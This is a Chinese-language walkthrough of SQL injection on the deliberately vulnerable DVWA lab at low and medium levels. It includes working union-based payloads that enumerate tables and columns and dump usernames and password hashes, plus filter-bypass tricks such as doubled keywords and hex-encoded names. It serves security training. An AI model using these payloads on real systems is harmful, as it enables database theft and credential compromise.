SQL注入步骤:

寻找注入点

判断注入点类型,是数字型还是字符型

如果是字符型则根据真假页面或者报错语句判断闭合方式

判断回显列数 group by/order by

判断回显位 union select 并且将前面的语句判定为假值

获取数据库名

获取数据库的表名

获取数据库中表的字段名

获取数据库中表的字段值

DVWA SQL Injection——low

这里输入1和输入1 and 1=2输出结果一样,证明不是数字型注入,基本可以判断为字符型注入。

DVWA SQL Injection注入_SQL

DVWA SQL Injection注入_SQL_02


如何判断数字型注入和字符型注入

SQL注入格式:http://xxx.xxx.xxx/abc.php?id=YY

§ 字符型SQL注入

• id=YY’

– SQL语句:select * from 表名 where 字段= 'YY'', abc.asp运行异常;

• id=YY’ and ‘1’=‘1,abc.asp运行正常,与id=YY页面相同

– SQL语句:select * from 表名 where 字段= 'YY' and '1' = '1'

• id=YY’ and ‘1’=‘2 与 id=YY 页面不同,出现异常

– SQL语句:select * from 表名 where 字段= 'YY' and '1' = ‘2’

• 或 id=YY and 1 like 1/ and 1 like 2

• 以上3条都满足,则abc.php存在SQL注入漏洞

§ 数字型SQL注入

• id=YY’ 页面异常

• id=YY and 1=1 与 id=YY 页面相同

• id=YY and 1=2 与 id=YY 页面不同,出现异常

• 以上3条都满足,则abc.php存在SQL注入漏洞


DVWA SQL Injection注入_输入框_03

输入1' or 1=1-- ,能得到正确的返回结果,说明为字符型注入。

常用注释符:-- ,--+, #, %23, %00, /*

判断select字段数

order by的作用是对字段进行排序,如order by 5,根据第五个字段 进行排序,如果一共有4个字段,输入order by 5系统就会报错不 知道怎么排序,所以可以用order by来判断有多少个字段。

DVWA SQL Injection注入_SQL_04

DVWA SQL Injection注入_输入框_05

说明存在两列。

判断可显示的注入点

DVWA SQL Injection注入_字段_06

尝试获取数据库信息

查看当前数据库版本

DVWA SQL Injection注入_输入框_07

查看当前数据库名

DVWA SQL Injection注入_字段_08

获取DVWA数据库中的表名

在输入框中输入

1' union select group_concat(table_name), 2 from information_schema.tables where

table_schema='dvwa'#

DVWA SQL Injection注入_输入框_09

获取字段名

在输入框中输入1’ union select group_concat(column_name),2  

from information_schema.columns where table_schema='dvwa' and  

table_name='users'#,点击“Submit”

DVWA SQL Injection注入_输入框_10

获取用户账户和密码

在输入框中输入1' union select  group_concat(user,':',password),2 from users#,点击“Submit

DVWA SQL Injection注入_字段_11

使用md5解密工具可以得到明文

DVWA SQL Injection注入_字段_12

DVWA SQL Injection注入_字段_13

DVWA SQL Injection注入_输入框_14

DVWA SQL Injection注入_输入框_15

DVWA SQL Injection注入_SQL_16

联合查询注入bypass

过滤了union等关键字

如果用的是str_ireplace(), 可双写绕过uunionnion

过滤了or and等关键字

and=&&

or=||

过滤了空格

利用+号绕过

DVWA SQL Injection——medium

DVWA SQL Injection注入_输入框_17

从页面可以看出无法进行输入,只能使用抓包软件试试了

DVWA SQL Injection注入_输入框_18

DVWA SQL Injection注入_SQL_19

DVWA SQL Injection注入_输入框_20

说明存在数字型注入

DVWA SQL Injection注入_SQL_21

DVWA SQL Injection注入_输入框_22

DVWA SQL Injection注入_字段_23

DVWA SQL Injection注入_字段_24

DVWA SQL Injection注入_字段_25

DVWA SQL Injection注入_字段_26

猜测字段

DVWA SQL Injection注入_输入框_27

DVWA SQL Injection注入_输入框_28

DVWA SQL Injection注入_字段_29

DVWA SQL Injection注入_输入框_30

枚举所有数据库

DVWA SQL Injection注入_字段_31


 

DVWA SQL Injection注入_输入框_32

获取DVWA数据库中的表名

在输入框中输入1 union select  

group_concat(table_name), 2 from information_schema.tables where  

table_schema='dvwa'#

DVWA SQL Injection注入_字段_33

DVWA SQL Injection注入_SQL_34

将ASCII码转成16进制格式转换

DVWA SQL Injection注入_字段_35

DVWA SQL Injection注入_输入框_36

获取字段名

同样将users转化为为16进制实现绕过

在输入框中输入1 union select  

group_concat(column_name),2 from information_schema.columns where  

table_name=0x7573657273#

DVWA SQL Injection注入_字段_37

DVWA SQL Injection注入_输入框_38

获取用户账户和密码

在输入框中输入1 union select  

group_concat(user,0x35,password),2 from users

DVWA SQL Injection注入_SQL_39

DVWA SQL Injection注入_字段_40